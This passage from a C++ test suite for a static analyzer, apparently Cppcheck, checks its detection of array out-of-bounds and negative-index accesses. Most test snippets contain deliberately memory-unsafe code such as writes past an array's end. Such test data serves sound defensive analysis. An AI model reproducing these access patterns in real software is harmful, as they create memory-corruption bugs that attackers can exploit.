foo) {\\n\"\n \" foo.array[foo.index++] = 1;\\n\"\n \" if (foo.index == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_57() {\n check(\"void f(std::vector& v) {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" int i = 0;\\n\"\n \" for (auto& x : v) {\\n\"\n \" int c = a[i++];\\n\"\n \" if (i == 3)\\n\"\n \" i = 0;\\n\"\n \" x = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" int i = 0;\\n\"\n \" for (auto& x : v) {\\n\"\n \" int c = a[i++];\\n\"\n \" if (i == 4)\\n\"\n \" i = 0;\\n\"\n \" x = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:15] -> [test.cpp:5:18]: (warning) Either the condition 'i==4' is redundant or the array 'a[3]' is accessed at index 3, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_58()\n {\n check(\"int f(int x, int y) {\\n\"\n \" int a[3]= {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9] -> [test.cpp:6:14]: (warning) Either the condition 'x<2' is redundant or the array 'a[3]' is accessed at index 3, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #2199\n \" char a[5];\\n\"\n \" for (int i = 0; i < 5; i++) {\\n\"\n \" i += 8;\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 5; i++) {\\n\"\n \" a[i + 7] = 0;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:10]: (error) Array 'a[5]' accessed at index 8, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:10]: (error) Array 'a[5]' accessed at index 11, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_59() // #10413\n {\n check(\"long f(long b) {\\n\"\n \" const long a[] = { 0, 1, };\\n\"\n \" const long c = std::size(a);\\n\"\n \" if (b < 0 || b >= c)\\n\"\n \" return 0;\\n\"\n \" return a[b];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" const int S[2] = {};\\n\"\n \" if (a < 0) {}\\n\"\n \" else {\\n\"\n \" if (b < 0) {}\\n\"\n \" else if (S[b] > S[a]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a[2] = {};\\n\"\n \"void f(int i) {\\n\"\n \" g(i < 0 ? 0 : a[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_60()\n {\n checkP(\"#define CKR(B) if (!(B)) { return -1; }\\n\"\n \"int f(int i) {\\n\"\n \" const int A[3] = {};\\n\"\n \" CKR(i < 3);\\n\"\n \" if (i > 0)\\n\"\n \" i = A[i];\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define ASSERT(expression, action) if (expression) {action;}\\n\"\n \"int array[5];\\n\"\n \"void func (int index) {\\n\"\n \" ASSERT(index > 5, return);\\n\"\n \" array[index]++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:5] -> [test.cpp:5:10]: (warning) Either the condition 'index>5' is redundant or the array 'array[5]' is accessed at index 5, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_61()\n {\n check(\"int f(int i) {\\n\"\n \" const int M[] = { 0, 1, 2, 3 };\\n\"\n \" if (i > 4)\\n\"\n \" return -1;\\n\"\n \" if (i < 0 || i == std::size(M))\\n\"\n \" return 0; \\n\"\n \" return M[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { enum E { e0 }; };\\n\"\n \"const S::E M[4] = { S::E:e0, S::E:e0, S::E:e0, S::E:e0 };\\n\"\n \"int f(int i) {\\n\"\n \" if (i > std::size(M) + 1)\\n\"\n \"\t return -1;\\n\"\n \" if (i < 0 || i >= std::size(M))\\n\"\n \"\t return 0;\\n\"\n \" return M[i]; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_62()\n {\n check(\"struct X {\\n\"\n \" static int GetSize() {return 11;}\\n\"\n \"};\\n\"\n \"char f() {\\n\"\n \" char buf[10]= {0};\\n\"\n \" for(int i = 0; i < X::GetSize(); ++i) \\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:11]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_63()\n {\n check(\"int b[4];\\n\" // #10979\n \"void f(int i) {\\n\"\n \" if (i >= 0 && i < sizeof(b) / sizeof(*(b)))\\n\"\n \" b[i] = 0;\\n\"\n \" if (i >= 0 && i < sizeof(b) / sizeof((b)[0]))\\n\"\n \" b[i] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_64() // #10878\n {\n check(\"struct Array {\\n\"\n \" int x[10];\\n\"\n \" int& accessArrayRef(int a) { return x[a]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Array array = {};\\n\"\n \" array.accessArrayRef(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:42]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int i = 10;\\n\"\n \"struct Array {\\n\"\n \" int x[10];\\n\"\n \" int& accessArrayRef(int a) { return x[a]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Array array = {};\\n\"\n \" array.accessArrayRef(i);\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:42]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void array_index_65() // #11066\n {\n check(\"char P[] = { 2, 1 };\\n\"\n \"char f[2];\\n\"\n \"void e(char* c) {\\n\"\n \" register j;\\n\"\n \" for (j = 0; j < 2; j++)\\n\"\n \" c[j] = f[P[j] - 1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_66()\n {\n check(\"void foo(int j) {\\n\"\n \" int offsets[256];\\n\"\n \" while (x) {\\n\"\n \" if (j >= 256) break;\\n\"\n \" offsets[++j] = -1;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:15] -> [test.cpp:5:16]: (warning) Either the condition 'j>=256' is redundant or the array 'offsets[256]' is accessed at index 256, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_67() {\n check(\"void func(int i) {\\n\" // #1596\n \" int types[3];\\n\"\n \" int type_cnt = 0;\\n\"\n \" if (i == 0) {\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" } else {\\n\"\n \" types[type_cnt] = 1;\\n\"\n \" type_cnt++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_68() { // #6655\n check(\"int ia[10];\\n\"\n \"void f(int len) {\\n\"\n \" for (int i = 0; i < len; i++)\\n\"\n \" ia[i] = 0;\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" f(20);\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'ia[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #6370\n void array_index_69()\n {\n check(\"void f() {\\n\"\n \" const int e[] = {0,10,20,30};\\n\"\n \" int a[4];\\n\"\n \" for(int i = 0; i < 4; ++i)\\n\"\n \" a[e[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'a[4]' accessed at index 30, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #11355\n void array_index_70() {\n check(\"void f() {\\n\"\n \" static const char a[] = ((\\\"test\\\"));\\n\"\n \" printf(\\\"%c\\\", a[5]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Array 'a[5]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #11461\n void array_index_71()\n {\n check(\"unsigned int f(unsigned int Idx) {\\n\"\n \" if (Idx < 64)\\n\"\n \" return 0;\\n\"\n \" Idx -= 64;\\n\"\n \" int arr[64] = { 0 };\\n\"\n \" return arr[Idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11784\n void array_index_72()\n {\n check(\"char f(int i) {\\n\"\n \" char d[4] = {};\\n\"\n \" for (; i < 3; i++) {}\\n\"\n \" for (i++; i > 0;) {\\n\"\n \" d[--i] = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return d[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11530\n void array_index_73()\n {\n check(\"void f() {\\n\"\n \" int k = 0;\\n\"\n \" std::function a[1] = {};\\n\"\n \" a[k++](0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11088\n void array_index_74()\n {\n check(\"void foo(const char *keys) {\\n\"\n \" const char *prefix = \\\"') {}\\n\"\n \"}\\n\"\n \"void bar() {\\n\"\n \" foo(\\\"q\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #1644\n void array_index_75()\n {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i = 10;\\n\"\n \" while (i >= 3)\\n\"\n \" buf[i--] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #12592\n void array_index_76()\n {\n check(\"void cb0(void*, int i) {\\n\"\n \" const char s[] = \\\"\\\";\\n\"\n \" (void)s[i];\\n\"\n \"}\\n\"\n \"void cb1(int i, void*) {\\n\"\n \" const char s[] = \\\"\\\";\\n\"\n \" (void)s[i];\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" cb0(nullptr, 1);\\n\"\n \" cb1(1, nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 's[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:7:12]: (error) Array 's[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_multidim() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[2][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2]' accessed at index a[2][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[1][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2]' accessed at index a[1][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[2][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[2][1][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][2][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[1][2][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2][2];\\n\"\n \" a[1][2][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2][2]' accessed at index a[1][2][1][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][1][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[1][1][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[10][10][10];\\n\"\n \" a[2*3][4*3][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[10][10][10]' accessed at index a[6][12][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10][10][10];\\n\"\n \" a[6][40][10] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[10][10][10]' accessed at index a[6][40][10], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1][1];\\n\"\n \" a[2][2][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[1][1][1]' accessed at index a[2][2][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[6][6][6];\\n\"\n \" a[6][6][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[6][6][6]' accessed at index a[6][6][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[2][2];\\n\"\n \" p = &a[2][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown dim..\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[2][countof(x)] = {{1,2},{3,4}};\\n\"\n \" a[0][0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void draw_quad(float z) {\\n\"\n \" int i;\\n\"\n \" float (*vertices)[2][4];\\n\"\n \" vertices[0][0][0] = z;\\n\"\n \" vertices[0][0][1] = z;\\n\"\n \" vertices[1][0][0] = z;\\n\"\n \" vertices[1][0][1] = z;\\n\"\n \" vertices[2][0][0] = z;\\n\"\n \" vertices[2][0][1] = z;\\n\"\n \" vertices[3][0][0] = z;\\n\"\n \" vertices[3][0][1] = z;\\n\"\n \" for (i = 0; i < 4; i++) {\\n\"\n \" vertices[i][0][2] = z;\\n\"\n \" vertices[i][0][3] = 1.0;\\n\"\n \" vertices[i][1][0] = 2.0;\\n\"\n \" vertices[i][1][1] = 3.0;\\n\"\n \" vertices[i][1][2] = 4.0;\\n\"\n \" vertices[i][1][3] = 5.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"int foo() {\\n\"\n \" const size_t A = 4;\\n\"\n \" const size_t B = 2;\\n\"\n \" extern int stuff[A][B];\\n\"\n \" return stuff[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: better handling of VLAs in symboldatabase. should be\n // possible to use ValueFlow values.\n check(\"int foo() {\\n\"\n \" const size_t A = 4;\\n\"\n \" const size_t B = 2;\\n\"\n \" extern int stuff[A][B];\\n\"\n \" return stuff[0][1];\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n }\n\n void array_index_switch_in_for() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" {\\n\"\n \" switch(i)\\n\"\n \" {\\n\"\n \" case 9:\\n\"\n \" ar[i] = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" ar[i] = ar[i+1];\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" {\\n\"\n \" switch(i)\\n\"\n \" {\\n\"\n \" case 8:\\n\"\n \" ar[i] = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" ar[i] = ar[i+1];\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:12]: (error) Array index out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_for_in_for() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" for (int j = i; j < 5; ++j) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_bounds() {\n // #10275\n check(\"int a[10];\\n\"\n \"void f(int i) {\\n\"\n \" if (i >= 0 && i < 10) {}\\n\"\n \" a[i] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:4:4]: (warning) Either the condition 'i<10' is redundant or the array 'a[10]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\"\n \"[test.cpp:3:9] -> [test.cpp:4:4]: (warning) Either the condition 'i>=0' is redundant or the array 'a[10]' is accessed at index -1, which is out of bounds. [negativeIndex]\\n\",\n errout_str());\n }\n\n void array_index_calculation() {\n // #1193 - false negative: array out of bounds in loop when there is calculation\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" for (int i = 19; i < 36; ++i) {\\n\"\n \" data[i/2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[8]' accessed at index 17, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // #2199 - false negative: array out of bounds in loop when there is calculation\n check(\"void f()\\n\"\n \"{\\n\"\n \" char arr[5];\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" arr[i + 7] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'arr[5]' accessed at index 11, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_negative1() {\n // #948 - array index out of bound not detected 'a[-1] = 0'\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" data[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'data[8]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8][4];\\n\"\n \" data[5][-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'data[8][4]' accessed at index data[*][-1], which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n // #1614 - negative index is ok for pointers\n check(\"void foo(char *p)\\n\"\n \"{\\n\"\n \" p[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char s[] = \\\"abc\\\";\\n\"\n \" char *p = s + strlen(s);\\n\"\n \" if (p[-1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1850\n check(\"int f(const std::map > &m)\\n\"\n \"{\\n\"\n \" return m[0][-1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative2() { // ticket #3063\n check(\"struct TEST { char a[10]; };\\n\"\n \"void foo() {\\n\"\n \" TEST test;\\n\"\n \" test.a[-1] = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'test.a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_negative3() {\n check(\"int f(int i) {\\n\"\n \" int p[2] = {0, 0};\\n\"\n \" if(i >= 2)\\n\"\n \" return 0;\\n\"\n \" else if(i == 0)\\n\"\n \" return 0;\\n\"\n \" return p[i - 1];\\n\"\n \"}\\n\"\n \"void g(int i) {\\n\"\n \" if( i == 0 )\\n\"\n \" return f(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative4()\n {\n check(\"void f(void) {\\n\"\n \" int buf[64]={};\\n\"\n \" int i;\\n\"\n \" for(i=0; i <16; ++i){}\\n\"\n \" for(; i < 24; ++i){ buf[i] = buf[i-16];}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative5() // #10526\n {\n check(\"int i;\\n\"\n \"std::vector v;\\n\"\n \"bool f() {\\n\"\n \" if (i != 0) {\\n\"\n \" if (v.begin() != v.end()) {\\n\"\n \" if (i < 0)\\n\"\n \" return false;\\n\"\n \" const int a[4] = { 0, 1, 2, 3 };\\n\"\n \" return a[i - 1] > 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11349\n void array_index_negative6()\n {\n check(\"void f(int i) {\\n\"\n \" int j = i;\\n\"\n \" const int a[5] = {};\\n\"\n \" const int k = j < 0 ? 0 : j;\\n\"\n \" (void)a[k];\\n\"\n \" if (i == -3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #5685\n void array_index_negative7()\n {\n check(\"void f() {\\n\"\n \" int i = -9;\\n\"\n \" int a[5];\\n\"\n \" for (; i < 5; i++)\\n\"\n \" a[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[5]' accessed at index -9, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n // #11651\n void array_index_negative8()\n {\n check(\"unsigned g(char*);\\n\"\n \"void f() {\\n\"\n \" char buf[10];\\n\"\n \" unsigned u = g(buf);\\n\"\n \" for (int i = u, j = sizeof(i); --i >= 0;)\\n\"\n \" char c = buf[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #8075\n void array_index_negative9()\n {\n check(\"int g(int i) {\\n\"\n \" if (i < 10)\\n\"\n \" return -1;\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" printf(\\\"%d\\\\n\\\", a[g(4)]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (error) Array 'a[3]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n // #11844\n void array_index_negative10()\n {\n check(\"struct S { int a[4]; };\\n\"\n \"void f(S* p, int k) {\\n\"\n \" int m = 3;\\n\"\n \" if (k)\\n\"\n \" m = 2;\\n\"\n \" for (int j = m + 1; j <= 4; j++)\\n\"\n \" p->a[j-1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_for_decr() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" for (int i = 10; i > 0; --i) {\\n\"\n \" data[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[8]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char val[5];\\n\"\n \" for (unsigned int i = 3; i < 5; --i) {\\n\"\n \" val[i+1] = val[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char val[5];\\n\"\n \" for (int i = 3; i < 5; --i) {\\n\"\n \" val[i+1] = val[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'val[5]' accessed at index -9994, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:5:23]: (error) Array 'val[5]' accessed at index -9995, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n\n void array_index_varnames() {\n check(\"struct A {\\n\"\n \" char data[4];\\n\"\n \" struct B { char data[3]; };\\n\"\n \" B b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" a.data[3] = 0;\\n\"\n \" a.b.data[2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1586\n check(\"struct A {\\n\"\n \" char data[4];\\n\"\n \" struct B { char data[3]; };\\n\"\n \" B b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" a.data[4] = 0;\\n\"\n \" a.b.data[3] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (error) Array 'a.data[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:13]: (error) Array 'a.b.data[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_for_andand_oror() { // #3907 - using && or ||\n // extracttests.start: volatile int y;\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x < 10 && y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x < 10 || y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x <= 10 && y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; y && x <= 10; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #9126\n \" int i, c;\\n\"\n \" char* words[100] = {0};\\n\"\n \" g(words);\\n\"\n \" for (i = c = 0; (i < N) && (c < 1); i++) {\\n\"\n \" if (words[i][0] == '|')\\n\"\n \" c++;\\n\"\n \" }\\n\"\n \" return c;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_for_continue() {\n // #3913\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" for (int i = 0; i < 2; ++i) {\\n\"\n \" if (i == 0) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a[i - 1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int maybe();\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" for (int i = 0; i < 2; ++i) {\\n\"\n \" if (maybe()) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a[i - 1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Array 'a[2]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_for() {\n // Ticket #2370 - No false negative when there is no \"break\"\n check(\"void f() 